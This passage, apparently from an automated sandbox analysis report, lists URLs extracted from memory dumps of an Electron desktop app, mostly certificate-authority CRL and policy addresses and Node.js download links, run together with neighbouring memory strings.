"00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://www.quovadis.bm0quovadis" - Source: "00000000-00004472.00000000.124439.8806C000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crlcombining_diacritical_marks_supplementcjk_unified_ideographs_extension_bsupplementary_private_use_area_bmiscellaneous_mathematical_symbols_bcjk_unified_ideographs_extension_esupplemental_mathematical_operatorssupplemental_symbols_and_pictographsideographic_symbols_and_punctuationunified_canadian_aboriginal_syllabicscjk_compatibility_ideographs_supplementscheduler-tracing.profiling.min.jscjk_unified_ideographs_extension_dideographic_description_charactersmiscellaneous_mathematical_symbols_ascheduler-unstable_mock.production.min.jscuneiform_numbers_and_punctuationunified_canadian_aboriginal_syllabics_extendedarabic_mathematical_alphabetic_symbolscjk_unified_ideographs_extension_ascheduler-tracing.production.min.jsscheduler-unstable_mock.development.jscombining_diacritical_marks_for_symbolscombining_diacritical_marks_extendedcjk_unified_ideographs_extension_cscheduler-tracing.development.jscjk_unified_ideographs_extension_fsupplementary_private_use_area_amathematical_alphanumeric_symbolsmiscellaneous_symbols_and_arrowsscheduler-unstable_mock.production.min.jsother_default_ignorable_code_pointenclosed_alphanumeric_supplementmiscellaneous_symbols_and_pictographsentrust.net" - Source: "00000000-00004472.00000000.124439.881AC000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crlquovadis" - Source: "00000000-00004472.00000000.124439.88329000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1.crt0http://ocsp.accv.esa@@@@@@@0v0t0e0," - Source: "00000000-00004472.00000000.124439.88329000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel05'vegeu" - Source: "00000000-00004472.00000000.124439.88329000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel" - Source: "00000000-00004472.00000000.124439.88329000.00000004.mdmp") Found URL "https://ocsp.quovadisoffshore.comcertplus1class" - Source: "00000000-00004472.00000000.124439.88340000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl1$0" - Source: "00000000-00004472.00000000.124439.88340000.00000004.mdmp") Found URL "http://repository.swisssign.com/certsign1certsign" - Source: "00000000-00004472.00000000.124439.88340000.00000004.mdmp") Found URL "http://www2.public-trust.com/crl/ct/ctroot.crlcybertrust," - Source: "00000000-00004472.00000000.124439.88340000.00000004.mdmp") Found URL "http://policy.camerfirma.comteliasonera1teliasonera" - Source: "00000000-00004472.00000000.124439.88340000.00000004.mdmp") Found URL "http://policy.camerfirma.comstarfield" - Source: "00000000-00004472.00000000.124439.88340000.00000004.mdmp") Found URL "http://www.cert.fnmt.es/dpcs/09070,0*https://repository.luxtrust.luturkiye" - Source: "00000000-00004472.00000000.124439.88340000.00000004.mdmp") Found URL "https://wwww.certigna.fr/autorites/crbrowsermaining_ls.uledsntowctiodledlosemeypunitrust1uca" - Source: "00000000-00004472.00000000.124439.88340000.00000004.mdmp") Found URL "http://www.iec.chiec" - Source: "00000000-00004472.00000000.124439.88362000.00000004.mdmp") Found URL "http://www.iec.chdesc.iec" - Source: "00000000-00004472.00000000.124439.88362000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=f%2fd9zfbta9gp7ifisbs2ead3rmhxartyeivoe%2b%2b4fwvpd9ibk4jmgt6uxomdcirhqkbqqwj36m4i0h6yahozilpo%2ffzbm%2ba1qyqimbyj6agwjrgnhe3tngjrk02luig9oae%3d" - Source: "00000000-00004472.00000000.124439.A80C0000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/node-v12.13.0.tar.gzhttps://nodejs.org/download/release/v12.13.0/node-v12.13.0-headers.tar.gzyi+;nycpg1+sg*+;n++;nhttps://nodejs.org/download/release/v12.13.0/win-x64/node.libtls_aes_256_gcm_sha384:tls_chacha20_poly1305_sha256:tls_aes_128_gcm_sha256:ecdhe-rsa-aes128-gcm-sha256:ecdhe-ecdsa-aes128-gcm-sha256:ecdhe-rsa-aes256-gcm-sha384:ecdhe-ecdsa-aes256-gcm-sha384:dhe-rsa-aes128-gcm-sha256:ecdhe-rsa-aes128-sha256:dhe-rsa-aes128-sha256:ecdhe-rsa-aes256-sha384:dhe-rsa-aes256-sha384:ecdhe-rsa-aes256-sha256:dhe-rsa-aes256-sha256:high:!anull:!enull:!export:!des:!rc4:!md5:!psk:!srp:!camelliaatls_aes_256_gcm_sha384:tls_chacha20_poly1305_sha256:tls_aes_128_gcm_sha256:ecdhe-rsa-aes128-gcm-sha256:ecdhe-ecdsa-aes128-gcm-sha256:ecdhe-rsa-aes256-gcm-sha384:ecdhe-ecdsa-aes256-gcm-sha384:dhe-rsa-aes128-gcm-sha256:ecdhe-rsa-aes128-sha256:dhe-rsa-aes128-sha256:ecdhe-rsa-aes256-sha384:dhe-rsa-aes256-sha384:ecdhe-rsa-aes256-sha256:dhe-rsa-aes256-sha256:high:!anull:!enull:!export:!des:!rc4:!md5:!psk:!srp:!camellia17sgi7sga7sg!oy" - Source: "00000000-00004472.00000001.126359.19E00000.00000004.mdmp") Found URL "https://github.com/ubergrape/grape-electron4(;na6(;n7(;nij(;n9h(;nar(;ny" - Source: "00000000-00004472.00000001.126359.321C0000.00000004.mdmp") Found URL "https://github.com/nodejs/node/wiki/intlerr_valid_performance_entry_typeat" - Source: "00000000-00004472.00000001.126359.321C0000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/win-x64/node.libdefault" - Source: "00000000-00004472.00000001.126359.863F0000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/node-v12.13.0-headers.tar.gzcrypto_http_servere" - Source: "00000000-00004472.00000001.126359.863F0000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/node-v12.13.0.tar.gzaborting" - Source: "00000000-00004472.00000001.126359.863F0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodocertificationauthority.crlsonera1sonera" - Source: "00000000-00004472.00000001.126359.863F0000.00000004.mdmp") Found URL "http://www.pkioverheid.nl/policies/root-policy-g2izenpe" - Source: "00000000-00004472.00000001.126359.863F0000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1_der.crlaffirmtrust1affirmtrust" - Source: "00000000-00004472.00000001.126359.863F0000.00000004.mdmp") Found URL "http://crl.netsolssl.com/networksolutionscertificateauthority.crl" - Source: "00000000-00004472.00000001.126359.863F0000.00000004.mdmp") Found URL "https://github.com/nodejs/node/wiki/intlerr_valid_performance_entry_type$qg.at" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0electron/js2c/asarwrapfswithasarelectron/js2c/asar_init.jsrequireconfighasintltoasciitounicodeexportspunycodeinternal/idna.jsaexportsrequiremoduleprocessinternalbindingprimordialsajv.jscache.jscompiledata.jsdefinition_schema.jsdotjskeyword.jsrefsprocesserr_invalid_arg_typeqb.bchar_uppercase_achar_lowercase_achar_uppercase_zchar_lowercase_zchar_dotchar_forward_slashqcv" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel05'vegeu" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "https://wwww.certigna.fr/autorites/0mf0d0/)http://crl.certigna.fr/certignarootca.crl01+http://crl.dhimyotis.com/certignarootca.crlup139401509644up150999filesfilesfiles562595562164560492files559244internalbindingprocessrequiresafeweakmapgetoptionvaluebuffererr_manifest_assert_integritypatchprocessobjectaddreadonlyprocessaliasqc" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "http://www.iec.chiec" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "http://www.iec.chdesc.iec" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=8ykcgajlmavb79h6yzdjmwccmdwqrl7b6%2bkyp%2f%2bhf%2bair9ebxce6f4l47ay00btsvvshwdexgumpq0ilcyrcrterilzqiv7pv8dm7c5c%2bdrr9lx7pqjn30wjeahvpybkuwm%3d" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cpsjss-plugin-global.jslicensecli.jscustom.jsindex.jsloose-envify.jspackage.jsonreplace.jseu1c0a:madrid" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crlindex.tsnormalize.tsparser.pegjsparser.tsprinter.tsskeleton.tstypes.tsjss-plugin-extend.jscomponentsformattersindex.tstsconfig.cjs.jsontsconfig.jsontypes.tsutils.tsentrust.net1@0>7www.entrust.net/cps_2048" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\arizona1scottsdale1%0" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "http://repository.swisssign.com/eu1c0a:madrid" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl" - Source: "00000000-00004472.00000001.126359.87D4F000.00000004.mdmp") Found URL "http://www.accv.esaaaaaaaaadgaaawaaaaaaaayaaaaaaaeaaaaaaaaaaaaaaaaaaaacgaaaaeaaaaiaaaaaaaaaaoaaaaaaaaadaaaaaaaaaaoaaaaaaaaaaqaaaaaaaaaaaaaaafaaaaeaaaaaaaaaaaaaaabgaaabaaaaaaaaaaaqaaaauaaaaqaaaaaaaaaaeaaaagaaaaaaaaaaaaadgaaawaaaaaaaayaaaaaaaeaaaaaaaaaaaaaaaaaaaacgaaaaeaaaaiaaaaaaaaaaoaaaaaaaaadaaaaaaaaaaoaaaaaaaaaaqaaaaaaaaaaaaaaafaaaaeaaaaaaaaaaaaaaabgaaabaaaaaaaaaaaqaaaauaaaaqaaaaaaaaaaeaaaagaaaaaaaaaaaayaaaaaaaeaaaaaaaaaaaaaaaaaaaacgaaaaeaaaaiaaaaaaaaaaoaaaaaaaaadaaaaaa579125,131072-field-trial-handle=1680,9351082474623949860,10396439349421579125,131072-field-trial-handle=1680,9351082474623949860,10396439349421579125,131072autoridad" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.accv.espaseo" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif&" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif6r" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gifdigicert" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crlnetwork" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crlgo" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl6f?;amazon1amazon" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://repository.swisssign.com/eu1c0a:madrid" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0thawte," - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0us1" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crl0greater" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodocertificationauthority.crlus1!0network" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://crl.netsolssl.com/networksolutionscertificateauthority.crl" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www2.public-trust.com/crl/ct/ctroot.crl0tw1" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.quovadis.bmasyncgenerator.jsawaitvalue.jsarraywithholes.jsarraywithoutholes.jsasynciterator.jsasynctogenerator.jsawaitasyncgenerator.jsclasscallcheck.jsclassnametdzerror.jsconstruct.jscreateclass.jsdecorate.jsdefaults.jsdefineproperty.jsextends.jsget.jsgetprototypeof.jsinherits.jsinheritsloose.jsinstanceof.jsisnativefunction.jsiterabletoarray.jsjsx.jsnewarrowcheck.jsnoniterablerest.jsnoniterablespread.jsobjectspread.jsobjectspread2.jsreadonlyerror.jsset.jssetprototypeof.jsslicedtoarray.jsslicedtoarrayloose.jssuperpropbase.jstdz.jstemporalref.jstemporalundefined.jstoarray.jstoconsumablearray.jstoprimitive.jstopropertykey.jstypeof.js" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.cert.fnmt.es/dpcs/emsign" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "https://repository.luxtrust.lu0gebze" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://crl.certigna.fr/certignarootca.crl01+http://crl.dhimyotis.com/certignarootca.crlus1" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crl0230930042049zimeosonerasecom" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crles1;092agencia" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.pkioverheid.nl/policies/root-policy-g20es1;092agencia" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlarizona1scottsdale1%0" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0verisign," - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0izenpe" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://policy.camerfirma.comarizona1scottsdale1godaddy.com," - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.accv.es/legislacion_c.htmiw2)vmslbc[" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://policy.camerfirma.com081001102956zpki@sk.eepki@sk.ee20301217235959z20101030101030z331001235959z090901000000zscottsdalearizonascottsdalearizonascottsdale371231235959z090901000000z371231235959zarizonaarizonascottsdaleaffirmtrustaffirmtrust100129140824z301231140824zaffirmtrust301231140606z100129140606zaffirmtrust100129141036z401231141036z401231142024zaffirmtrustaffirmtrustaffirmtrustaffirmtrust100129142024z081022120737z080828072433zroot" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crld-trust" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crldigicert" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1.crt0http://ocsp.accv.es0$http://www.accv.es/legislacion_c.htm0un0l0jdhttp://www.accv.es/fileadmin/archivos/certificados/raizaccv1_der.crl0accv@accv.esathens1d0b;hellenic" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\$!" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "https://ocsp.quovadisoffshore.com0reliance" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://www.quovadis.bm0quovadis" - Source: "00000000-00004472.00000001.126359.8806C000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crlcombining_diacritical_marks_supplementcjk_unified_ideographs_extension_bsupplementary_private_use_area_bmiscellaneous_mathematical_symbols_bcjk_unified_ideographs_extension_esupplemental_mathematical_operatorssupplemental_symbols_and_pictographsideographic_symbols_and_punctuationunified_canadian_aboriginal_syllabicscjk_compatibility_ideographs_supplementscheduler-tracing.profiling.min.jscjk_unified_ideographs_extension_dideographic_description_charactersmiscellaneous_mathematical_symbols_ascheduler-unstable_mock.production.min.jscuneiform_numbers_and_punctuationunified_canadian_aboriginal_syllabics_extendedarabic_mathematical_alphabetic_symbolscjk_unified_ideographs_extension_ascheduler-tracing.production.min.jsscheduler-unstable_mock.development.jscombining_diacritical_marks_for_symbolscombining_diacritical_marks_extendedcjk_unified_ideographs_extension_cscheduler-tracing.development.jscjk_unified_ideographs_extension_fsupplementary_private_use_area_amathematical_alphanumeric_symbolsmiscellaneous_symbols_and_arrowsscheduler-unstable_mock.production.min.jsother_default_ignorable_code_pointenclosed_alphanumeric_supplementmiscellaneous_symbols_and_pictographsentrust.net" - Source: "00000000-00004472.00000001.126359.881AC000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crlquovadis" - Source: "00000000-00004472.00000001.126359.88329000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1.crt0http://ocsp.accv.es0v0t0e0," - Source: "00000000-00004472.00000001.126359.88329000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel05'vegeu" - Source: "00000000-00004472.00000001.126359.88329000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel" - Source: "00000000-00004472.00000001.126359.88329000.00000004.mdmp") Found URL "https://ocsp.quovadisoffshore.comcertplus1class" - Source: "00000000-00004472.00000001.126359.88340000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl1$0" - Source: "00000000-00004472.00000001.126359.88340000.00000004.mdmp") Found URL "http://repository.swisssign.com/certsign1certsign" - Source: "00000000-00004472.00000001.126359.88340000.00000004.mdmp") Found URL "http://www2.public-trust.com/crl/ct/ctroot.crlcybertrust," - Source: "00000000-00004472.00000001.126359.88340000.00000004.mdmp") Found URL "http://policy.camerfirma.comteliasonera1teliasonera" - Source: "00000000-00004472.00000001.126359.88340000.00000004.mdmp") Found URL "http://policy.camerfirma.comstarfield" - Source: "00000000-00004472.00000001.126359.88340000.00000004.mdmp") Found URL "http://www.cert.fnmt.es/dpcs/09070,0*https://repository.luxtrust.luturkiye" - Source: "00000000-00004472.00000001.126359.88340000.00000004.mdmp") Found URL "https://wwww.certigna.fr/autorites/crbrowsermaining_ls.uledsntowctiodledlosemeypunitrust1uca" - Source: "00000000-00004472.00000001.126359.88340000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=8ykcgajlmavb79h6yzdjmwccmdwqrl7b6%2bkyp%2f%2bhf%2bair9ebxce6f4l47ay00btsvvshwdexgumpq0ilcyrcrterilzqiv7pv8dm7c5c%2bdrr9lx7pqjn30wjeahvpybkuwm%3d" - Source: "00000000-00004472.00000001.126359.FF940000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/node-v12.13.0.tar.gzhttps://nodejs.org/download/release/v12.13.0/node-v12.13.0-headers.tar.gzyi+;nycpg1+sg*+;n++;nhttps://nodejs.org/download/release/v12.13.0/win-x64/node.libtls_aes_256_gcm_sha384:tls_chacha20_poly1305_sha256:tls_aes_128_gcm_sha256:ecdhe-rsa-aes128-gcm-sha256:ecdhe-ecdsa-aes128-gcm-sha256:ecdhe-rsa-aes256-gcm-sha384:ecdhe-ecdsa-aes256-gcm-sha384:dhe-rsa-aes128-gcm-sha256:ecdhe-rsa-aes128-sha256:dhe-rsa-aes128-sha256:ecdhe-rsa-aes256-sha384:dhe-rsa-aes256-sha384:ecdhe-rsa-aes256-sha256:dhe-rsa-aes256-sha256:high:!anull:!enull:!export:!des:!rc4:!md5:!psk:!srp:!camelliaatls_aes_256_gcm_sha384:tls_chacha20_poly1305_sha256:tls_aes_128_gcm_sha256:ecdhe-rsa-aes128-gcm-sha256:ecdhe-ecdsa-aes128-gcm-sha256:ecdhe-rsa-aes256-gcm-sha384:ecdhe-ecdsa-aes256-gcm-sha384:dhe-rsa-aes128-gcm-sha256:ecdhe-rsa-aes128-sha256:dhe-rsa-aes128-sha256:ecdhe-rsa-aes256-sha384:dhe-rsa-aes256-sha384:ecdhe-rsa-aes256-sha256:dhe-rsa-aes256-sha256:high:!anull:!enull:!export:!des:!rc4:!md5:!psk:!srp:!camellia17sgi7sga7sg!oy" - Source: "00000000-00004472.00000002.128280.19E00000.00000004.mdmp") Found URL "https://github.com/ubergrape/grape-electron4(;na6(;n7(;nij(;n9h(;nar(;ny" - Source: "00000000-00004472.00000002.128280.321C0000.00000004.mdmp") Found URL "https://github.com/nodejs/node/wiki/intlerr_valid_performance_entry_typeat" - Source: "00000000-00004472.00000002.128280.321C0000.00000004.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json05/21" - Source: "00000000-00004472.00000002.128280.86140000.00000002.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json,config,005/21" - Source: "00000000-00004472.00000002.128280.86140000.00000002.mdmp") Found URL "http://example.com" - Source: "00000000-00004472.00000002.128280.86160000.00000002.mdmp") Found URL "https://example.com.use" - Source: "00000000-00004472.00000002.128280.86160000.00000002.mdmp") Found URL "http://.

" - Source: "00000000-00004472.00000002.128280.86160000.00000002.mdmp") Found URL "http://," - Source: "00000000-00004472.00000002.128280.86160000.00000002.mdmp") Found URL "http://example.com." - Source: "00000000-00004472.00000002.128280.86160000.00000002.mdmp") Found URL "https://support.google.com/chrome/answer/6098869" - Source: "00000000-00004472.00000002.128280.86160000.00000002.mdmp") Found URL "https://bugs.chromium.org/p/chromium/issues/entry?template=safety+tips+appeals.possible" - Source: "00000000-00004472.00000002.128280.86160000.00000002.mdmp") Found URL "https://bugs.chromium.org/p/chromium/issues/entry?template=safety+tips+appeals.computerdevicetabletthis" - Source: "00000000-00004472.00000002.128280.86160000.00000002.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/win-x64/node.libdefault" - Source: "00000000-00004472.00000002.128280.863F0000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/node-v12.13.0-headers.tar.gzcrypto_http_servere" - Source: "00000000-00004472.00000002.128280.863F0000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v12.13.0/node-v12.13.0.tar.gzaborting" - Source: "00000000-00004472.00000002.128280.863F0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodocertificationauthority.crlsonera1sonera" - Source: "00000000-00004472.00000002.128280.863F0000.00000004.mdmp") Found URL "http://www.pkioverheid.nl/policies/root-policy-g2izenpe" - Source: "00000000-00004472.00000002.128280.863F0000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1_der.crlaffirmtrust1affirmtrust" - Source: "00000000-00004472.00000002.128280.863F0000.00000004.mdmp") Found URL "http://crl.netsolssl.com/networksolutionscertificateauthority.crl" - Source: "00000000-00004472.00000002.128280.863F0000.00000004.mdmp") Found URL "https://github.com/nodejs/node/wiki/intlerr_valid_performance_entry_type$qg.at" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0electron/js2c/asarwrapfswithasarelectron/js2c/asar_init.jsrequireconfighasintltoasciitounicodeexportspunycodeinternal/idna.jsaexportsrequiremoduleprocessinternalbindingprimordialsajv.jscache.jscompiledata.jsdefinition_schema.jsdotjskeyword.jsrefsprocesserr_invalid_arg_typeqb.bchar_uppercase_achar_lowercase_achar_uppercase_zchar_lowercase_zchar_dotchar_forward_slashqcv" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "https://www.catcert.net/verarrel05'vegeu" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "https://wwww.certigna.fr/autorites/0mf0d0/)http://crl.certigna.fr/certignarootca.crl01+http://crl.dhimyotis.com/certignarootca.crlup139401509644up150999filesfilesfiles562595562164560492files559244internalbindingprocessrequiresafeweakmapgetoptionvaluebuffererr_manifest_assert_integritypatchprocessobjectaddreadonlyprocessaliasqc" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "http://www.iec.chiec" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "http://www.iec.chdesc.iec" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=xqgljyg2rsja9p98zavcbdps7rhahnf3qnfxhzdp7kbqema9a5hg7dv1dpsqbfumiif7irmcrlmxsdpblpkfldhalfu7oe%2b0zng3nvvyc7bi3si3ortclz1awshhvget75w%3d" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cpsjss-plugin-global.jslicensecli.jscustom.jsindex.jsloose-envify.jspackage.jsonreplace.jseu1c0a:madrid" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crlindex.tsnormalize.tsparser.pegjsparser.tsprinter.tsskeleton.tstypes.tsjss-plugin-extend.jscomponentsformattersindex.tstsconfig.cjs.jsontsconfig.jsontypes.tsutils.tsentrust.net1@0>7www.entrust.net/cps_2048" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\arizona1scottsdale1%0" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "http://repository.swisssign.com/eu1c0a:madrid" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl" - Source: "00000000-00004472.00000002.128280.87D4F000.00000004.mdmp") Found URL "http://www.accv.esaaaaaaaaadgaaawaaaaaaaayaaaaaaaeaaaaaaaaaaaaaaaaaaaacgaaaaeaaaaiaaaaaaaaaaoaaaaaaaaadaaaaaaaaaaoaaaaaaaaaaqaaaaaaaaaaaaaaafaaaaeaaaaaaaaaaaaaaabgaaabaaaaaaaaaaaqaaaauaaaaqaaaaaaaaaaeaaaagaaaaaaaaaaaaadgaaawaaaaaaaayaaaaaaaeaaaaaaaaaaaaaaaaaaaacgaaaaeaaaaiaaaaaaaaaaoaaaaaaaaadaaaaaaaaaaoaaaaaaaaaaqaaaaaaaaaaaaaaafaaaaeaaaaaaaaaaaaaaabgaaabaaaaaaaaaaaqaaaauaaaaqaaaaaaaaaaeaaaagaaaaaaaaaaaayaaaaaaaeaaaaaaaaaaaaaaaaaaaacgaaaaeaaaaiaaaaaaaaaaoaaaaaaaaadaaaaaa579125,131072-field-trial-handle=1680,9351082474623949860,10396439349421579125,131072-field-trial-handle=1680,9351082474623949860,10396439349421579125,131072autoridad" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www.accv.espaseo" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif&" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif6r" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gifdigicert" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crlnetwork" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crlgo" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl6f?;amazon1amazon" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://repository.swisssign.com/eu1c0a:madrid" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0thawte," - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0us1" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crl0greater" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodocertificationauthority.crlus1!0network" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://crl.netsolssl.com/networksolutionscertificateauthority.crl" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL "http://www2.public-trust.com/crl/ct/ctroot.crl0tw1" - Source: "00000000-00004472.00000002.128280.8806C000.00000004.mdmp") Found URL 